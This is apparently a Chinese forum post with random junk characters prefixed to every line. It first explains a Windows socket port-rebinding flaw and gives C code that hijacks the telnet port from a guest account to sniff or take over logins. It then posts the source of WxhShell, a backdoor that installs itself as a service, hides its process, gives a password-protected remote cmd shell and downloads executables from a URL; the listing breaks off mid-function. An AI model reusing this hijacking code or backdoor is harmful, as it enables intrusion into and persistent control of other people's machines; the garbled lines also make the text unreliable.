在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
9t.u9C=!F s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
DS@ZE Q`F lG\6z"K saddr.sin_family = AF_INET;
tSr.0'CE )%4%Uo_Xm saddr.sin_addr.s_addr = htonl(INADDR_ANY);
6*] g)m -R^OYgF bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
u~|D;e x<m{B@3T 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
t:DZow +:hZ,G?> 这意味着什么?意味着可以进行如下的攻击:
E4a`cGb 3yWu-U \k 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
As&=Pb9 )T-C/ 3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
He#5d!cf:M xz-z"
8d 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
uQwKnD?F+e Xknp*(9 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
<5R`E( rOt`5_2f 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
C%$:Oq 7oPLO(0L 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Y#>'.$(Az C@{#OOa 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
|i)7jG< hL1q9% #include
cs]N%M^s #include
OF$0]V #include
DrfOz#a0Uu #include
w4m-DR5 DWORD WINAPI ClientThread(LPVOID lpParam);
3{gD'y4j int main()
*SW.K{{ {
E8[{U8)[;5 WORD wVersionRequested;
|\yVnk!c DWORD ret;
9n#Q1Xq WSADATA wsaData;
G~SgI>Q BOOL val;
[^rT: %Z SOCKADDR_IN saddr;
[0M2`x4` SOCKADDR_IN scaddr;
4fK(<2i int err;
> 3<P^-9L SOCKET s;
,/d
R SOCKET sc;
CdxEY int caddsize;
4eZ HANDLE mt;
[I4:R_\ DWORD tid;
[(Z sQK wVersionRequested = MAKEWORD( 2, 2 );
T=/GFg' err = WSAStartup( wVersionRequested, &wsaData );
qb^jcy if ( err != 0 ) {
]g#ur@Y% printf("error!WSAStartup failed!\n");
rTBrl[&,q' return -1;
S,9}p1 }
8<,b5 saddr.sin_family = AF_INET;
PNm WZW* >EVlMt27' //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
H3$~S ' "A_,Ga saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
]2^tV.^S^ saddr.sin_port = htons(23);
e,Ih7-=Er, if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+ 9vd(c {
c6IFt4)g printf("error!socket failed!\n");
h5+qP"n!?q return -1;
K"p$ga{ }
9}~WwmC|x val = TRUE;
@x9DV{j)V //SO_REUSEADDR选项就是可以实现端口重绑定的
}(x| if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
']nB_x7 {
I)wjTTM5 printf("error!setsockopt failed!\n");
5|&:l8= return -1;
s0,\[rM }
*?;<buJb? //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
OYcf+p"<\ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
JfJUOaL //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
+-b:XeHSZ 2_^{Vez@I if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
SfKm]Z>Hp {
d>ltL`xn ret=GetLastError();
%9|}H [x printf("error!bind failed!\n");
p&B
c<+3e return -1;
jft%\sY }
a&>Tk% listen(s,2);
%+PWcCmn while(1)
J.
]~J|K {
:K%{?y caddsize = sizeof(scaddr);
9fk@C /$ //接受连接请求
#[.vfG sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
'qGKS:8 if(sc!=INVALID_SOCKET)
]dZ8]I<$C {
S@AHI!"h=V mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
[ \I&/?On if(mt==NULL)
R<}WNZl {
E0K'|* printf("Thread Creat Failed!\n");
<E2+P,Lgw break;
P4"Pb\o* }
B7:8%r/ }
%GRD3S
CloseHandle(mt);
| aH;@V }
=@#[@Ia closesocket(s);
%O5
k+~9 WSACleanup();
./_o+~\e' return 0;
W)3IS&;P }
Of)EBa<5^ DWORD WINAPI ClientThread(LPVOID lpParam)
v 4@=>L {
Wa#!O$u SOCKET ss = (SOCKET)lpParam;
Qr`WPTQr" SOCKET sc;
9zdp8?T unsigned char buf[4096];
,|gX?[o SOCKADDR_IN saddr;
/O"IA4O long num;
GF6c6TXF@ DWORD val;
2?3D`
` DWORD ret;
`v*UY //如果是隐藏端口应用的话,可以在此处加一些判断
y`"b%P)+T //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
C$X
)I~M saddr.sin_family = AF_INET;
+\SNaq~& saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
w7b?ve3- saddr.sin_port = htons(23);
\Mk;Y if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|_&Tu#er3 {
e:9CD- printf("error!socket failed!\n");
=>
.EDL. return -1;
OrXx0Hn }
*9"L?S(X# val = 100;
i
! wzID if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
=^.f) {
tw.2h'D ret = GetLastError();
"j+zd&*={ return -1;
K`!q1g` }
(2He]M\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#q{i<E 07 {
Dp:u!tdbeg ret = GetLastError();
=}S*]Me5 return -1;
VKtrSY}6T }
>n,RBl if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
"yR56`= {
9/$D&tRN printf("error!socket connect failed!\n");
wAHW@q9CK closesocket(sc);
.r9-^01mG closesocket(ss);
:tP:X+?O return -1;
%N\pfZ2\ }
,BM6s,\ while(1)
9*!C|gC9Ia {
<v<TsEI //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
nQ\ +Za== //如果是嗅探内容的话,可以再此处进行内容分析和记录
lQs|B ' //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
bP;cDQ(g num = recv(ss,buf,4096,0);
8i!~w 7z if(num>0)
%G9:M;|' send(sc,buf,num,0);
=>ooB/ else if(num==0)
F(E3U'G break;
r!eCfV7 num = recv(sc,buf,4096,0);
9moenkL if(num>0)
}8E//$J send(ss,buf,num,0);
?}*A/-Hx0U else if(num==0)
Ro+/=*ql~ break;
$M\[^g(q }
uMm/$#E closesocket(ss);
jd;=5(2 closesocket(sc);
F^kH"u[ return 0 ;
{r2-^QHF }
YQ>P{I%J ~8'4/wh+8 K~nk:}3Ui ==========================================================
7&G[mOx0 wI+oG 下边附上一个代码,,WXhSHELL
c1j) =re1xR!E5 ==========================================================
YH`/;H=$G/ Gy36{* #include "stdafx.h"
CFJ F}aW zn5 #include <stdio.h>
\XR%pC #include <string.h>
4kO[|~# #include <windows.h>
Dx/!^L02 #include <winsock2.h>
zR)|%[sWwQ #include <winsvc.h>
ua(y! Im #include <urlmon.h>
&_
er_V~ VNx|nP& #pragma comment (lib, "Ws2_32.lib")
8ID
fYJ #pragma comment (lib, "urlmon.lib")
fRo_rj _ V.;,1% #define MAX_USER 100 // 最大客户端连接数
]saf<?fzr #define BUF_SOCK 200 // sock buffer
mLM$dk3 #define KEY_BUFF 255 // 输入 buffer
7*5$=z4,1 iqCKVo7:M #define REBOOT 0 // 重启
hx$-d}W{ #define SHUTDOWN 1 // 关机
o"@y=n/ bu"R2~sb #define DEF_PORT 5000 // 监听端口
TRG(W^<F tBe)#-O #define REG_LEN 16 // 注册表键长度
M-KjRl #define SVC_LEN 80 // NT服务名长度
8;7Y}c
v#0R // 从dll定义API
q#B^yk|Y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
GW$(E*4q typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
v%3mhk# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
89KX.d typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
P[PBoRd2 >`DbT:/< // wxhshell配置信息
]X+3" struct WSCFG {
5J1A|qII int ws_port; // 监听端口
b7>^w<ki char ws_passstr[REG_LEN]; // 口令
:u#Ls,OZz int ws_autoins; // 安装标记, 1=yes 0=no
E" iH$NN char ws_regname[REG_LEN]; // 注册表键名
SymSAq0$F char ws_svcname[REG_LEN]; // 服务名
j(G}4dib char ws_svcdisp[SVC_LEN]; // 服务显示名
0 3L"W^gc char ws_svcdesc[SVC_LEN]; // 服务描述信息
-!( char ws_passmsg[SVC_LEN]; // 密码输入提示信息
*W q{ :k int ws_downexe; // 下载执行标记, 1=yes 0=no
S1^u/$*6 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
#=R) s0j" char ws_filenam[SVC_LEN]; // 下载后保存的文件名
<Ft6d ^GdU$%aa };
}NPF]P; y'4H8M2? // default Wxhshell configuration
Iw~3y{\ struct WSCFG wscfg={DEF_PORT,
Y?hC/6$7 "xuhuanlingzhe",
p2|c8n== 1,
B?c9cS5Mj "Wxhshell",
zcItZP "Wxhshell",
W5?F?Dp!v "WxhShell Service",
z<rdxn,9 "Wrsky Windows CmdShell Service",
pmXx2T#= "Please Input Your Password: ",
wzB*M}3 1,
S4kGy}{+i "
http://www.wrsky.com/wxhshell.exe",
RsU=fe, "Wxhshell.exe"
$DW3H1iW };
fXMVl\ < QOIi/flK // 消息定义模块
9@C3jZ+9`H char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
o9M[Zr1@k char *msg_ws_prompt="\n\r? for help\n\r#>";
''!pvxA char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
VP=(",` char *msg_ws_ext="\n\rExit.";
4 8M)A char *msg_ws_end="\n\rQuit.";
xI'<4lo7Z char *msg_ws_boot="\n\rReboot...";
\/4ipU. char *msg_ws_poff="\n\rShutdown...";
&|P@$O> char *msg_ws_down="\n\rSave to ";
N]: "3?% v,r}q1.E} char *msg_ws_err="\n\rErr!";
XhFa9RC char *msg_ws_ok="\n\rOK!";
u3kK!2cdP V
?3>hQtB char ExeFile[MAX_PATH];
a_I!2w<I int nUser = 0;
_lb ^ HANDLE handles[MAX_USER];
ME~ga,|K int OsIsNt;
`(1em%} "!XeK| Wi SERVICE_STATUS serviceStatus;
m}0US;c#f SERVICE_STATUS_HANDLE hServiceStatusHandle;
OlhfBu)~ PRl\W:_t // 函数声明
+O3zeL int Install(void);
joDnjz= int Uninstall(void);
6cSMKbgZJ int DownloadFile(char *sURL, SOCKET wsh);
zfL$z,zgf int Boot(int flag);
(,Yb]/O* void HideProc(void);
ws
tI8"> int GetOsVer(void);
I#@iA! int Wxhshell(SOCKET wsl);
i0,{*LD%^ void TalkWithClient(void *cs);
noe1*2*T E int CmdShell(SOCKET sock);
0"o<(1 int StartFromService(void);
H~1la V int StartWxhshell(LPSTR lpCmdLine);
>b,o yM dN;kYWRK VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
NUb^!E" VOID WINAPI NTServiceHandler( DWORD fdwControl );
}uWJ $G5m/[KDI // 数据结构和表定义
`|wH= SERVICE_TABLE_ENTRY DispatchTable[] =
0IBVR,q {
[6BLC{2 {wscfg.ws_svcname, NTServiceMain},
/7*jH2 {NULL, NULL}
lO8.Q"mxo };
F1R91V| 5/DTE:M< // 自我安装
k);z}`7 int Install(void)
8,YF>O& {
wq_c^Ioy char svExeFile[MAX_PATH];
&T]+g8 '' HKEY key;
b>E%&sf strcpy(svExeFile,ExeFile);
VP\HPSp rB?u.jn0T // 如果是win9x系统,修改注册表设为自启动
E!Hq%L!/ if(!OsIsNt) {
rMSB|*_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
xPb;_~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Km]N scq1 RegCloseKey(key);
JWy$` "{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
1O45M/5\o RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
I!jSAc{ RegCloseKey(key);
M! gX4 return 0;
rfYu8- }
c }ivYH?`w }
MjE.pb }
EG&^;uU else {
^j'; 4' l7aGo1TcIh // 如果是NT以上系统,安装为系统服务
Xn"n5=M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
m0 ]LY-t if (schSCManager!=0)
FR0zK=\ {
y4,2Xs9, SC_HANDLE schService = CreateService
>NB}Bc (
CSc*UX+ schSCManager,
_@;2h`q ? wscfg.ws_svcname,
W)^:*z wscfg.ws_svcdisp,
'15j$q SERVICE_ALL_ACCESS,
BQSA;;n] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
yt>Pf<AI SERVICE_AUTO_START,
yNc>s/ SERVICE_ERROR_NORMAL,
Yc=y Vh svExeFile,
|_F-Abk NULL,
Sn.I
]:l NULL,
X~0l1 @! NULL,
kR^7Z7+#* NULL,
Y@KZ:0< NULL
nX5*pTfjL3 );
&Xe r#6~ if (schService!=0)
N$pwTyk {
H24g+<Tv CloseServiceHandle(schService);
POH>!lHu CloseServiceHandle(schSCManager);
qS&PMQ"$ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
rZu_"bcJ strcat(svExeFile,wscfg.ws_svcname);
WeuV+}\b if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
`m3@mJ!>\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
90sM S]a RegCloseKey(key);
V==' 7n return 0;
FtM7+>Do. }
z"}k\B-5 }
Sx;zvc CloseServiceHandle(schSCManager);
c/;t.+g }
Lj *FKP\{ }
ol!o8M%Q <B`}18x return 1;
1a_;[.s }
7b+OIZB H!F'I)1 // 自我卸载
{N)\It int Uninstall(void)
:1_hQeq {
n ^n'lgUT HKEY key;
;T#t)oV k%hD<_:p if(!OsIsNt) {
E|97zc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(&x~pv"+ RegDeleteValue(key,wscfg.ws_regname);
?[RG8,B RegCloseKey(key);
vR,HCI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hp-<8Mf RegDeleteValue(key,wscfg.ws_regname);
,z1# |Y RegCloseKey(key);
n/$Bd FH return 0;
C^nL{ZP, }
G8u8&| }
^l$(- #'y }
YD.3FTNGC else {
|\QR9> O b8[P= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
f@LUp^Z/v if (schSCManager!=0)
wB9IP{Pf {
L%B+V;<h3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
=v:_N.Fh-c if (schService!=0)
07(E/A] {
++&F5'?g if(DeleteService(schService)!=0) {
X'kw5P!sq CloseServiceHandle(schService);
]2h[.qa CloseServiceHandle(schSCManager);
~%#?;hJ return 0;
*}/xy
SH3 }
&51/Pm2O CloseServiceHandle(schService);
7e8hnTzl8< }
P?9CBhN CloseServiceHandle(schSCManager);
EHzZ9zH\ }
'/sc `(`:0 }
P* aD2("Z EAY9~b6~c return 1;
lg8~`96 }
Ku&(+e %i.|bIhmm // 从指定url下载文件
WZm^:, int DownloadFile(char *sURL, SOCKET wsh)
#jZ:Ex {
~B=\![ HRESULT hr;
2~ 'Q#( char seps[]= "/";
#m$H'O[WG\ char *token;
xje{kx# char *file;
yLDHJ}R char myURL[MAX_PATH];
,7j`5iq[m char myFILE[MAX_PATH];
fx;5j; r#Pd@SV strcpy(myURL,sURL);
8U;!1!+
7) token=strtok(myURL,seps);
fLD9RZ8_ while(token!=NULL)
_eO] awsA {
[w{ZP4d> file=token;
whLske- token=strtok(NULL,seps);
R
+\y". }
4k#B5^iJ "Y%\qw/wq GetCurrentDirectory(MAX_PATH,myFILE);
?0?' strcat(myFILE, "\\");
PN.6BJvu strcat(myFILE, file);
kBONP^xI send(wsh,myFILE,strlen(myFILE),0);
A%GJ|h,i send(wsh,"...",3,0);
IcQ?^9%{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Z(<ul<?r if(hr==S_OK)
iEU(1?m2- return 0;
wZC'BLD else
~f@<] return 1;
BMdr.0 #t/Q4X
+ }
bTiw?i+6Dv Y4{`?UM&h // 系统电源模块
VtKN{sSnu int Boot(int flag)
.1pEq~> {
yr=r?h} HANDLE hToken;
VKs\b-1 TOKEN_PRIVILEGES tkp;
JBwTmOvQ =?f}h{8x> if(OsIsNt) {
,h>w % OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
kEXcEF_9P LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
p0tv@8C> tkp.PrivilegeCount = 1;
v4v+;[a% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
\;?\@vo< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
t{7l.>kf if(flag==REBOOT) {
b~Ruhi[E if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
]Yj>~k:K return 0;
Gg!))I+ }
jNyC%$ else {
.Yf
h* if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
.U1dcL6 return 0;
Y{O&-5H^| }
ex|kD*= }
gSGe] else {
A]J^{h0k if(flag==REBOOT) {
>u4e:/5] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
l~=iUZW< return 0;
[qXpi'q[ }
7d<v\=J} else {
z=fag'fzM if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
-?]ltn9! return 0;
lvN{R{7> }
oby*.61?5l }
;?[~]" n (|>7 return 1;
q-RGplx }
x'KsQlI/
e56#Qb@$\ // win9x进程隐藏模块
((5zwD void HideProc(void)
XgbGC*dQ {
7*5ctc!dG I,S'zHR HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
dL\8^L if ( hKernel != NULL )
Ax%BnkU {
NV gLq@F pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~mp$P+M(%p ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
3(&.[o
Z FreeLibrary(hKernel);
K]u|V0c }
Lg?'1dg ~h@tezF return;
U<t-LF3 }
<2Q@^ Y/^<t'o& // 获取操作系统版本
n>4S P_[E7 int GetOsVer(void)
S?{5DxilO {
ep?0@5D}] OSVERSIONINFO winfo;
xHGoCFB winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
3dbf! GetVersionEx(&winfo);
VZ,T`8" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
&8pXkD#A return 1;
9,W-KM else
% n{W return 0;
$ {+.1"/[ }
zfZDtKq m=9N^_ // 客户端句柄模块
H6I #Xj int Wxhshell(SOCKET wsl)
"uCQm ' {
lkm(3y@']A SOCKET wsh;
A!D:Kc3
struct sockaddr_in client;
-b$OHFL DWORD myID;
Q#N+5<]J)# 1+jYpYEQW while(nUser<MAX_USER)
rTm{-b)r {
["F,|e{y$ int nSize=sizeof(client);
_E;Y
~I,i wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
r83~o/T@ if(wsh==INVALID_SOCKET) return 1;
!7oy%{L {X$Mwqhpp; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
SoX V if(handles[nUser]==0)
mig3.is closesocket(wsh);
X W)A~wPBs else
=5`@:!t7 nUser++;
/)1-^ju }
TJpv"V WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
K5>:WiY @QG1\W' return 0;
`k&K"jA7$ }
l:eN u}{& C6w{"[Wv=X // 关闭 socket
f
99PwE(= void CloseIt(SOCKET wsh)
{*U:Wm< {
cnthtv+(~ closesocket(wsh);
9ojhI=: nUser--;
gcxk'd ExitThread(0);
dmz3O(]$ }
YZl%JX %?hLo8 // 客户端请求句柄
6W=:`14 void TalkWithClient(void *cs)
"^z=r]<5
{
2[po~}2-0 V+24- QWh SOCKET wsh=(SOCKET)cs;
QNXxpoS# char pwd[SVC_LEN];
8~E)gV+v char cmd[KEY_BUFF];
;#9|l= char chr[1];
MPbPq3an int i,j;
(OB8vTRXP r6JkoPMh while (nUser < MAX_USER) {
pXv[]v %KF:-
w if(wscfg.ws_passstr) {
h<;[P?z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ap^=CEf //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Q~JKKq //ZeroMemory(pwd,KEY_BUFF);
6# ";W2 i=0;
h&bV!M while(i<SVC_LEN) {
]Rh(=bg v4_OUA>z, // 设置超时
h)8+4?-4I fd_set FdRead;
AJfi,rFPg struct timeval TimeOut;
k{jw%a<Sc FD_ZERO(&FdRead);
cl{W]4*$ FD_SET(wsh,&FdRead);
k_<{j0z. TimeOut.tv_sec=8;
X3{1DY3@u TimeOut.tv_usec=0;
i8_x1=A int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
U!:!]DX( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
oxQID _M[[vXH if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
WgJAr73
l pwd
=chr[0]; q_y,j&
if(chr[0]==0xd || chr[0]==0xa) { DXW?;|8)O
pwd=0; 8$ZSF92C
break; 1lyOp
} 9}cuAVI
i++; /}`/i(k
} w"agn}CK
/ 7X dV
// 如果是非法用户,关闭 socket ~e77w\Q0
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VhFRh,J(T
} %K'*P56
m}[~A@qD
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N5s|a5
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /Jf`x>eiH
v7FRTrqjj
while(1) { C2rj ]t
/lB0>Us
ZeroMemory(cmd,KEY_BUFF); F[D0x26^
;K\N
// 自动支持客户端 telnet标准 C6UMc}
9h
j=0; >Y-TwDaE
while(j<KEY_BUFF) { S~Iw?SK3
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^[}0&_L
w
cmd[j]=chr[0]; 0j!ke1C&C
if(chr[0]==0xa || chr[0]==0xd) { >xV<nLf/
cmd[j]=0; &rztC]jF
break; R P:F<`DB|
} ]Wd`GI
j++; yC0f/O
} mERrcY Y{
e9@fQ
// 下载文件 j%Z{.>mJ
if(strstr(cmd,"http://")) { !N8)C@=
send(wsh,msg_ws_down,strlen(msg_ws_down),0); zLw h6^?Y
if(DownloadFile(cmd,wsh)) 207 O["Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j(6$7+2qN
else _SIs19"lR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +GYMJK`S+
} G:c8`*5Q
else { 8#]7`o
)xvx6?Ah|
switch(cmd[0]) { R^yZG{?t
TdP{{&'9
// 帮助 3H'nRK},
case '?': { FK@ f'
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AIl$qPKj&
break; oIvnF:c
} lii]4k+z
// 安装 x1:Pj
case 'i': { 1%hM8:)i_
if(Install()) VUy)4*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J`+`Kq1T
else kyx SIQ^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9VUm=Z#`
break; n`m_S
} oBj>9I;
// 卸载 NB+$ym
case 'r': { 5G'&9{oB
if(Uninstall()) 1R2o6`_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /%uZKGP
else c. TB8Ol
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /;<e.
break; _7=pw5[
} iVKbGgA
// 显示 wxhshell 所在路径 QypiF*fSU
case 'p': { *{.&R9#7U'
char svExeFile[MAX_PATH]; s0)qlm*
strcpy(svExeFile,"\n\r"); W7*_ T]
strcat(svExeFile,ExeFile); ^3WIl]
send(wsh,svExeFile,strlen(svExeFile),0); %on9C`/
break; 9xK4!~5V
} qX
p,d
// 重启 1akD]Z
case 'b': { YMj7
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )&Kn(l)
if(Boot(REBOOT)) ayH%
qp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |
or 8d>,
else { wWJQ~i?
closesocket(wsh); V#zhGAMy.
ExitThread(0); kJurUDo
} {
OxAY_
break; jMf 7J
} 'HQ7
|Je
// 关机 }RA3$%3
case 'd': { foFg((tS
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \3Q:K|
if(Boot(SHUTDOWN)) KH2F#[
!Lw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y8J;+h9
else { HzD> -f
closesocket(wsh); QN5yBa!Wz
ExitThread(0); 1H&?UP4=(
} iHE0N6%q
break; -7-Fd_F8
} BrNG%%n
// 获取shell $Yx6#m}[M
case 's': { FXOT+9bg
CmdShell(wsh); jh 7p62R
closesocket(wsh); W(uP`M%][0
ExitThread(0); QJM-`(
break; $[M}K
} jiA5oX^g
// 退出 4V u'r?
case 'x': { 3x"@**(Q
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bK03S Vx
CloseIt(wsh); kyW6S+ #-
break; zG-_!FIn
} 8!u/
// 离开 tC2 )j7@
case 'q': { `a9k!3_L
send(wsh,msg_ws_end,strlen(msg_ws_end),0); [cGt
closesocket(wsh); 5i!V}hE
WSACleanup(); _`bS[%CJ
exit(1); QL)>/%yU
break; 1DEO3p
} <a8#0ojm
} WF ?/GN
} T!u'V'Ei2
zW"~YaO%C
// 提示信息 ,}9f(`
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); js:C
mnI
} do:QH.q8)
} CS~=Z>6EjA
uY&=eQ_Cb
return; Cz'xGW{
} ]j& FbP)3
+M44XhT
// shell模块句柄 `pP9z;/Xq
int CmdShell(SOCKET sock) -Wl)Lez@
{ abM84EU
STARTUPINFO si; 5Y(r\Dd
ZeroMemory(&si,sizeof(si)); 'RDWU7c9]
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'R^iKNPs
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^G}# jg.
PROCESS_INFORMATION ProcessInfo; >Hdjsu5{N
char cmdline[]="cmd"; KqN!?anPr
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uz*d^gr}
return 0; M*d-z
} wXc,F D$
~?FK ; (
// 自身启动模式 )-0[ra]
int StartFromService(void) eQ$N:]
{ ' 2>l
typedef struct e{,!|LhpQ
{ 0Vf)Rw1%I
DWORD ExitStatus; _FL<egK
DWORD PebBaseAddress; ~k9O5S{
DWORD AffinityMask; $GQphXb$
DWORD BasePriority; E;9Z\?P
